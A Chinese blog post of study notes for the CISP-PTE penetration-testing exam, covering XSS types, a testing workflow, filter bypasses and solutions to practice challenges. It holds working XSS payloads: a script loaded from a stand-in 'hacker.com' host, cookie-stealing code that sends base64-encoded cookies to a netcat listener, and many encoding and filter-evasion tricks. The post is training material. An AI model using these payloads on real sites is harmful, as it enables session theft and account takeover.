渗透测试CISP-PTE：XSS

已于 2024-03-01 15:23:38 修改
阅读量911 收藏 10
点赞数 28
分类专栏： 渗透测试 文章标签： xss web安全 安全 网络安全 网络
于 2024-02-27 16:44:58 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/hu18811461866/article/details/136323964
版权

渗透测试CISP-PTE-系列学习笔记

第一章 渗透测试CISP-PTE：Web安全简介
第二章 渗透测试CISP-PTE：信息收集
第三章 渗透测试CISP-PTE：漏洞扫描
第四章 渗透测试CISP-PTE：HTTP请求流程
第五章 渗透测试CISP-PTE：SQL注入
第六章 渗透测试CISP-PTE：暴力破解
第七章 渗透测试CISP-PTE：XSS

文章目录

前言

XSS (Cross-Site Scripting) 攻击是一种利用 Web 应用程序的漏洞，通过在用户输入的数据中注入恶意脚本来实施攻击的方法。

一、XSS攻击类型

1、反射性XSS

攻击者将恶意脚本注入到 URL 中，当用户点击包含恶意脚本的链接时，脚本会在用户的浏览器中执行。攻击者设置圈套，构造一个恶意代码/链接，让受害者访问，当用户访问带有XSS恶意代码的URL请求时，服务器端接收数据后处理，然后把带有XSS代码的数据发送到用例浏览器，浏览器解析这带有XSS代码的数据后，最终造成XSS漏洞
在这里插入图片描述

例如这个页面存在xss漏洞，在php中 . 的左右

<?php
$username = $_GET['username'];
echo 'hello world: ' . $username;
?>

例如让受害者访问http://127.0.0.1?username=<script>alert("xss");</script>

使用反射型xss将用户的cookie反馈给攻击者

http://127.0.0.1?username=<script src=“http://hacker.com/1.js”></script>

攻击场景，仅仅弹个框？

假如http://test.com/xss1.php存在XSS反射型跨站漏洞，那么攻击者的步骤可能如下。

  1. test1是网站test.com的用户，此时正在登录的状态中。
  2. 攻击者发现http://test.com/xss1.php存在XSS反射型跨站漏洞，然后精心构造JavaScript代码，此段代码可以窃取用户的cookie。
  3. 攻击者将带有反射型XSS漏洞的URL通过站内信息发送给用户test1，使用各种诱导的方式让用户 test1去打开链接。
  4. 如果用户test1打开了带有XSS漏洞的URL，那么就会把自己的cookie发送到攻击者中。
  5. 攻击者接受到用户test1的会话cookie，就可以直接利用cookie以test1的身份登录test.com网站中。

以上步骤，通过使用反射型XSS漏洞可以以test1的身份登录网站，这就是其危

2、存储型XSS

存储型XSS又被称为持久性XSS，存储型XSS是最危险的一种跨站脚本。允许用户存储数据的WEB应用程序都可能会出现存储型XSS漏洞，当攻击者提交一段XSS代码后，被服务器端接收并存储，当再次访问页面时，这段XSS代码被程序读取响应给浏览器，造成XSS跨站攻击，这就是存储型XSS。

如下图所示，攻击者将恶意脚本存储在服务器上，当用户访问包含该脚本的页面时，脚本会从服务器加载并执行。
在这里插入图片描述
在测试是否存在XSS时，首先要确定输入点与输出点，例如：我们要在留言内容上测试XSS漏洞，首先就要去寻找留言内容输出（显示）的地方是在标签内还是标签属性内，或者在其他地方，如果输出的数据在属性内，那么XSS是不会被执行的。

攻击场景

  1. 在留言板处使用XSS代码。<script>alert(document.cookie)</script
    在这里插入图片描述
  2. 重新加载留言处页面时，代码被执行。
    在这里插入图片描述

3、DCOM型XSS

DOM的全称为Document Object Model，即文档对象模型，DOM通常用于代表在HTML、XHTML和XML中的对象。使用DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式。
通过JavaScript可以重构整个HTML页面，而要重构页面或者页面中的某个对象，JavaScript就需要知道HTML文档中所有元素的“位置”。而DOM为文档提供了结构化表示，并定义了如何通过脚本来访问文档结构。根据DOM规定，HTML文档中的每个成分都是一个节点。

DOM的规定如下：

• 整个文档是一个文档节点
• 每个HTML标签是一个元素节点
• 包含在HTML元素中的文本是文本节点
• 每一个HTML属性是一个属性节点
• 节点与节点之间都有等级关系

在这里插入图片描述传统类型的XSS漏洞（反射型或存储型）一般出现在服务器端代码中，而DOM XSS是基于DOM文档对象模型的一种漏洞，所以，受客户端浏览器的脚本代码所影响。

DOM XSS取决于输出位置，并不取决于输出环境，因此也可以说DOM XSS既有可能是反射型的，也有可能是存储型的，简单去理解就是因为他输出点在DOM。

攻击者将恶意脚本注入到页面的 DOM （文档对象模型）中，当用户交互操作触发脚本执行时，脚本会执行恶意操作

二、HTML对象/标签对应的事件

允许JavaScript在HTML文档元素中注册不同事件的处理程序，事件通常于函数结合使用，函数不会在事件发送前执行。

1、鼠标事件

在这里插入图片描述

2、框架/对象（Frame/Object）事件

在这里插入图片描述

三、XSS常见Payload

1.简单的弹窗告警

<script>alert("xss");</script>

2.获取cookie

<script>alert(document.cookie);</script>

3.其他标签

<a href=javascript:alert(111)>
<body onload=alert("xss")>
<img src=x onerror=alert(1)>
<div onclick="alert('xss')">

4.嵌入其他网站链接

<iframe src=http://www.baidu.com width=0 height=0></iframe>

XSS输入HTML代码段，如使网页不停刷新

<meta http-equiv="refresh" content="0";>

5.注释符

5.1.HTML注释符

<!--  ***  --> 或者 <!--  ***  --!>

5.2.JavaScript/PHP注释符

单行注释：//
多行注释：/* *** */

四、XSS漏洞测试流程

1.测试流程

  1. 在目标上找输入点，比如查询接口、留言板
  2. 输入一组“特殊字符（>, ',"）等+唯一识别字符”，点击提交，查看返回源码，看后端返回的数据（输出点）是否有处理（过滤、转义等）
  3. 通过搜索定位到唯一字符，结合唯一字符前后语法确定是否可以构造执行JS的条件（构造闭合\构造payload）目的是让输入的数据（从属性或标签当中逃逸出来）变成代码来执行
  4. 提交构造的脚本代码（以及各种绕过姿势），看是否可以成功执行，如果成功执行则说明存在XSS漏洞

XSS漏洞的防御原则：输入做过滤、输出做转义

2.输出点位置的不同，闭合方式不同

2.1.输出在HTML属性中

<input name="user" value="{your input}"/>
  1. 闭合html属性，插入新的属性
<input name="user" value="" onclick="alert<'xss'>"/>
  1. 闭合input标签，插入新的script标签
<input name="user" value="" ><script>alert(1);</script>"/>

2.2.输出在CSS代码中

<style type="text/css">
Body{
color:{your input}
}
</style>
  1. 闭合css代码中的属性，插入新的属性
<style type="text/css">
Body{
color:#000;backgroud-image:url('javascript:alert(1)');
}
</style>

2.3.输出在JavsScript中

<script>
var name=‘{your input}’
</script>
  1. 闭合javasript代码，插入攻击代码
<script>
var name=''+alert(1)+'';
</script>

六、xss获取cookie

1.常用函数

document.write()
document.cookie

2.常用payload

<script>
document.write(
'<img src="http://127.0.0.1:8000/'+
document.cookie+
'"/>'
);
</script>

3.将cookie反馈给攻击者

DVMA:XSS存储型

<script>
document.write(
	'<img src="http://127.0.0.1:8099/?'+
	btoa(document.cookie) + 
	'" >'
);
</script>

备注：atob-base64解码
btoa-base64编码
攻击机启动nc 监听，即可窃取其他用户的cookie
在这里插入图片描述

七、XSS防护和绕过方法

1.XSS防护

特定标签过滤
事件过滤
敏感关键字过滤

2.XSS绕过

2.1.特定标签过滤

script和iframe等危险标签过滤
1)采用插入过滤范围外的标签（例如html新加入的<source οnerrοr="alert(1)"s>）
2)如果输出点在HTML标签属性中或JS代码中，只需简单闭合、拼接属性或JS代码即可，无需引入新标签。

2.2.事件过滤

2.3.敏感关键字（字符）过滤

针对敏感变量或函数进行过滤，如cookie，eval，alert等，针对敏感符号过滤，如括号、空格、小数点等
通过字符串拼接、编码解码等方式进行绕过

  1. 字符串拼接与混淆
Window['alert']('xss')
Window['al'+'ert']('xss')
window[atob("YWxl"+"cnQ=")]('xss')
  1. 编码解码
    a)HTML进制编码：以&开头，以分号结尾
    命令实体：<这个符号的编码是<
    字符编码：<这个符号的编码是&#060或&#x3c
    b)CSS进制编码：兼容html，十进制或十六进制
    c)JS进制编码：e这个字符八进制\145；十六进制\x65或\u0065
    d)url编码：%61
    e)JSFuck编码：以6个!+字符来编写js脚本
    编码工具：http://evilcos.me/lab/xssee
  2. Location.* window.name
  3. with关键字：在JS中可以使用with关键字设置变量的作用域，利用此特性可以绕过对小数点的过滤
    如：With(document)alert(cookie);
  4. 过滤“()”
    在js中，可以通过绑定错误处理函数，使用throw关键字传递参数绕过对这对小括号的过滤，如：window.onerror=alert; throw 1;
    或使用反括号代替，如<script>alert1</script>

八、XSS训练

1.

1.1.源代码

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

1.2.破解思路

闭合textarea标签即可

</textarea><script>alert(1);</script><textarea>

2.input

2.1.源代码

function render (input) {
  return '<input type="name" value="' + input + '">'
}

2.2.破解思路

●利用"> 提前闭合input

"><script>alert(1);</script>

●使用input 事件参数，先闭合value="
input 事件参数包含如下函数：
onclick，onmouseover

" onmouseover="alert(1) 或者" onclick="alert(1)

3.过滤()和-stripBracketsRe = /[()]/g

3.1.源代码

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

正则表达式匹配替换来过滤()

3.2.破解思路

利用``(反引号)代替()

<script>alert`1`;</script>

4.过滤()和-stripBracketsRe = /[(`)]/g

4.1.源代码

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

正则表达式匹配替换来过滤()和`

4.2.破解思路

使用将括号进行编码（只有输入的内容（需要编码的内容）在标签内时才可以使用），如下

<input onmouseover="alert&#40;1&#41;"><!--将()unicode编码为&#40;&#41-->

5.注释符–>

5.1.源代码

function render (input) {
  input = input.replace(/-->/g, '😂')s
  return '<!-- ' + input + ' -->'
}

正则表达式匹配替换来过滤–>

5.2.破解思路

注释符还可以用 
--!><script>alert(1);</script><!--

6.任意字符 . 的匹配过滤

6.1.源代码

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

6.2.破解思路

任意字符 . 不能匹配换行符，将js代码用换行符分开

onclick
="alert(1)"

7.</?[^>]+匹配过滤（标签过滤）

7.1.源代码

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi
  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

7.2.破解思路

使用不完整标签

<body onload="alert(1)";

8.标签强匹配过滤

8.1.源代码

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>

8.2.破解思路

的>前增加空格来避免强匹配

</style ><script>alert(1);</script>

9.网址链接引入

9.1.源代码

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

9.2.破解思路

网址引入失败，使用onerror参数

https://www.segmentfault.com" onerror="alert(1);

10.网站

10.1.源代码

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }
  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

10.2.破解思路

使用https://www.xxx@包含alert(1);的js网址
https://www.segmentfault.com@xss.haozi.me/j.js
其中j.js的内容为alert(1)

11.大小写限定

11.1.源代码

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

11.2.破解思路

由于标签的值时区分大小写的，而标签是不区分大小写的，且标签内的内容可以编码

<script src="https://xss.haozi.me/&#106;&#46;&#106;&#115;"></script>
<body onload="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

12.//单行注释

12.1.源代码

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

12.2.破解思路

//只能注释一行，所以换一行，插入alert(1)，并注释掉后面的‘) ，由于//注释符被过滤掉了，所以使用–>来注释


alert(1)
-->

13.<([a-zA-Z])任意字符过滤

13.1.源代码

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

13.2.破解思路

过滤了所有英文字母，使用古字符替换

<ſcript src="https://xss.haozi.me/&#106;&#46;&#106;&#115;"> </script>

14.转译escapeHtml(input)

14.1.源代码

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

14.2.破解思路

使用’); 先结束前面的console.error

');alert('1

15.转译escapeHtml(input)

15.1.源代码

function render (input) {

  return `
<script>
  window.data = ${input}
</script>
  `
}

15.2.破解思路

先用""; 结束window.data = “”;
然后插入alert(1)

"";
alert(1)

总结

以上就是今天要讲的内容，本文仅仅简单介绍了XSS攻击类型，XSS漏洞常用流程，以及常见XSS案例的破解思路等。后续将从CRSF、文件上传、文件包含、命令执行等环节进行详细介绍。

未知2066
关注
  • 28
    点赞
  • 踩
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
【推荐】渗透测试工程师（CISP-PTE）认证培训课件资料合集（18份）.zip
11-29
推荐，注册信息安全专业人员渗透测试工程师（CISP-PTE）认证培训课件资料合集，共18份。 001-Linux操作系统安全V2.0.pptx 002-Windows操作系统安全V2.0.pptx 003-数据库安全.pptx 004-Web安全基础0 - 介绍.pptx 005-Web安全基础1 - HTTP协议.pptx 006-Web安全基础2 - 注入漏洞.pptx 007-Web安全基础3 - XSS漏洞.pptx 008-Web安全基础4 - 请求伪造漏洞.pptx 009-Web安全基础5 - 文件处理漏洞.pptx 010-Web安全基础6 - 访问控制漏洞.pptx 011-Web安全基础7 - 会话管理漏洞.pptx 012-Web安全基础8 - 实战练习.pptx 013-Apache服务器安全.pptx 014-IIS服务器安全.pptx 015-Jboss服务器安全.pptx 016-Tomcat服务器安全.pptx 017-Weblogic服务器安全.pptx 018-Web应用服务器安全加固.pptx
渗透测试CISP-PTE：命令执行
未知2066的博客
03-12 945
命令执行漏洞是一种安全漏洞，它允许攻击者通过执行恶意命令来控制受漏洞影响的系统。这种漏洞通常发生在应用程序的输入验证或过滤不完善的地方，使得恶意用户可以通过输入特定的内容来执行系统命令。
渗透测试CISP-PTE：文件包含
未知2066的博客
03-01 1207
文件包含漏洞（File Inclusion Vulnerability）是一种常见的Web应用程序安全漏洞。它会导致攻击者可以通过控制文件包含的输入来执行任意的代码。文件包含漏洞通常出现在Web应用程序中，当应用程序在处理用户输入时，没有正确地检查和验证用户提供的文件路径或文件名。攻击者可以利用这个漏洞，将恶意文件包含到应用程序的执行流程中，从而执行恶意代码。
2024年渗透测试CISP-PTE：XSS_cisp-pte xss(1)，软件测试开发还不会这些
最新发布
2401_84563080的博客
05-06 580
攻击者设置圈套，构造一个恶意代码/链接，让受害者访问，当用户访问带有XSS恶意代码的URL请求时，服务器端接收数据后处理，然后把带有XSS代码的数据发送到用例浏览器，浏览器解析这带有XSS代码的数据后，最终造成XSS漏洞。在测试是否存在XSS时，首先要确定输入点与输出点，例如：我们要在留言内容上测试XSS漏洞，首先就要去寻找留言内容输出（显示）的地方是在标签内还是标签属性内，或者在其他地方，如果输出的数据在属性内，那么XSS是不会被执行的。例如这个页面存在xss漏洞，在php中 . 的左右。
Web安全：XSS漏洞的测试（防止 黑客利用此漏洞.）
热门推荐
网络安全领域___专研者.
03-17 1万+
XSS漏洞的概括： XSS又叫CSS（Cross Site Script）跨站脚本攻击，指的是攻击者在Web页面，插入恶意JS代码，当用户浏览该页之时，嵌入其中JS代码就会被执行，从而达到攻击的目的.（包含：收集用户的Cookie，添加账号，修改密码，提高用户权限等等.）
安全测试之xss攻击通用测试用例
m0_70669463的博客
07-05 1881
XSS全称是Cross Site Scripting即跨站脚本，当目标网站目标用户浏览器渲染HTML文档的过程中，出现了不被预期的脚本指令并执行时，XSS就发生了。
XSS测试
qq_52016943的博客
07-28 1223
XSS 绕过
渗透测试CISP-PTE：CSRF
未知2066的博客
02-28 596
CSRF（Cross-Site Request Forgery）攻击，也称为“跨站请求伪造”，是一种常见的Web应用程序安全漏洞。该攻击利用了Web应用程序的信任机制，通过伪造用户的身份，迫使用户在他们不知情的情况下执行某些操作。攻击者通常通过在恶意网站上放置一个特殊的链接或图片，或者通过发送包含恶意代码的电子邮件等方式来发送特殊的请求。当用户点击这些链接或打开这些图片时，他们的浏览器会向目标网站发送请求，由于浏览器通常会自动发送保存的用户凭证，目标网站将会以为这是用户的合法请求，并执行相应的操作。
cisp-pte渗透测试资源下载 （考试环境+题库）
11-26
cisp-pte渗透测试资源下载 ，包括 考试环境、题目。
cisp-pte注册渗透测试工程师详细资料及视频教程
07-16
cisp-pte讲义、模拟环境、视频教程、模拟练习网站源码
CISP-PTE培训PPT讲义.zip
09-09
CISP-PTE渗透测试工程师认证培训讲义PPT： 操作系统安全 windows操作系统安全 数据库安全 Web安全基础 HTTP协议 注入漏洞 XSS漏洞 请求伪造漏洞 文件处理漏洞 访问控制漏洞 会话管理漏洞 实战练习 中间件安全-...
CISP-PTE_windows操作系统安全V2.0.pptx
10-22
CISP-PTE_windows操作系统安全V2.0 Windows 操作系统安全是计算机安全的重要组成部分。该领域的知识体系主要包括账户安全、文件系统安全、日志分析、账户风险与安全策略等几个方面。 账户安全是 Windows 操作系统...
【应用安全之XSS一】XSS攻击测试以及防御
qq_35789269的博客
02-19 6404
跨站脚本攻击 跨站脚本攻击(Cross Site Scripting)，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script(php,js等)代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的特殊目的。 攻击实例 下面为一个Input标签： <input type="text" value="value"></input> 当用输入值
CISP-PTE XSS基础
beirry的博客
06-02 957
同源策略 百度：同源策略（Same origin policy）是一种约定，它是浏览器最核心也最基本的安全功能，如果缺少了同源策略，则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略基础之上的，浏览器只是针对同源策略的一种实现。 同源的意思是指域名，协议，端口相同。不同源的客户端脚本（JavaScript，actionscript）再没明确授权的情况下，不能读写对方的资源。 如果两个页面的协议，端口和域名都相同，则两个页面具有相同的源。 以百度为例：https://www.baidu.co
软件安全测试-Web安全测试详解-XSS攻击
白天像蚂蚁一样工作，晚上像蝴蝶一样生活
12-10 2045
通过该文，可以系统了解xss攻击的原理，测试，防御,无论对手工测试，还是自动化测试都可以很好的根据文章执行。
xss测试步骤总结
wutiangui的博客
09-28 1796
先看bp,再看回显，测试常规xss语句，接着看F12上下文，然后是构造闭合，最后是依次测试绕过方法，成功的时候要能得到一个可以复现的url。
含金量超高的CISP渗透测试工程师，你不想了解一下么？
Karka_的博客
06-25 483
CISP-PTECISP-PTS认证名称国家注册渗透测试工程师国家注册信息安全渗透测试专家认证机构中国信息安全测评中心颁发证书证书介绍通过培训学习和检验考试，最终持证者应具有漏洞验证、制定渗透测试方案与测试计划、编写测试用例、实施测试、输出测试报告的基本知识和能力。通过培训学习和检验考试，最终持证者应具有较强的漏洞研究、代码分析、进行最新网络安全动态跟踪研究以及策划解决方案等方面的知识和能力。报考要求均无学历与工作经验的报考要求，可直接报考CISP-PTS对报考人员的基础能力要求。
XSS：漏洞的检测与防御
我乐了的博客
01-30 1304
如果在官方修复前，那个 XSS 漏洞已经被恶意利用了，那即使已经通过输入检查方法修复了，被插入的恶意代码仍会存在，这可以认为是修复不彻底的表现。PhantomJS：已停止维护。DOM XSS 的扫描相比常规 XSS 要难一些，主要是针对 JS 代码的分析，如果只是简单的正则匹配，就很容易误报漏报。不同的语言有不同的特性，在源码审计时需要采取不同的检测点，但有一个共同的思路，那就是。有时我们也会反着来：先查看一些危险的输出函数，再回溯它的参数传递，判断是否有未经过滤的用户输入数据，若有就代表可能存在漏洞。
cisp-pte与cisp
01-09
CISP-PTE和CISP-PTS是两种不同的认证考试，它们之间有一些区别和联系。 CISP-PTE是Certified Information Security Professional - Penetration Testing Engineer的缩写，是一种信息安全专业认证考试。它主要关注渗透测试工程师的技能和知识，包括网络渗透测试、应用程序渗透测试、无线网络渗透测试等方面。 CISP-PTS是Certified Information Security Professional - Penetration Testing Specialist的缩写，也是一种信息安全专业认证考试。与CISP-PTE相比，CISP-PTS在中间件安全、数据库安全和内网安全方面提出了更高的要求。它要求考生除了具备CISP-PTE所要求的全部能力和知识外，还需要在这些特定领域有更深入的了解和实践经验。 因此，CISP-PTE和CISP-PTS之间的区别在于CISP-PTS对于中间件安全、数据库安全和内网安全方面的要求更高。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

未知2066

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值